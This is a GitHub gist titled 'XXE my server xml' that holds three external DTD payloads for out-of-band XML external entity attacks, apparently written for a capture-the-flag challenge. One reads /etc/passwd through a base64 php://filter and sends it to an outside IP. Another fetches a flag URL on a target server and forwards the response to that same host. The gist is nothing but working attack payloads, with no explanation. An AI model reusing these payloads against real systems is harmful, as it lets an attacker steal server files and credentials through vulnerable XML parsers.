Skip to content

Instantly share code, notes, and snippets.

@acuros

acuros/index1.txt

Last active August 29, 2015 14:19
Show Gist options
  • Save acuros/b621230d35546ea69099 to your computer and use it in GitHub Desktop.
Save acuros/b621230d35546ea69099 to your computer and use it in GitHub Desktop.
Download ZIP
XXE my server xml
Raw
index1.txt
<!ENTITY % payload "foo">
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://52.68.169.48/a?%payload;" >' >
%param1;
%external;
Raw
index2.txt
<!ENTITY % target SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param '<!ENTITY &#37; send SYSTEM "http://52.68.169.48/a?%target;" >' >
%param;
%send;
Raw
index3.txt
<!ENTITY % target SYSTEM "http://175.126.100.208/_827ccb0eea8a706c4c34a16891f84e7b/conn.php?getflag=1">
<!ENTITY % param '<!ENTITY &#37; send SYSTEM "http://52.68.169.48/a?%target;" >' >
%param;
%send;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment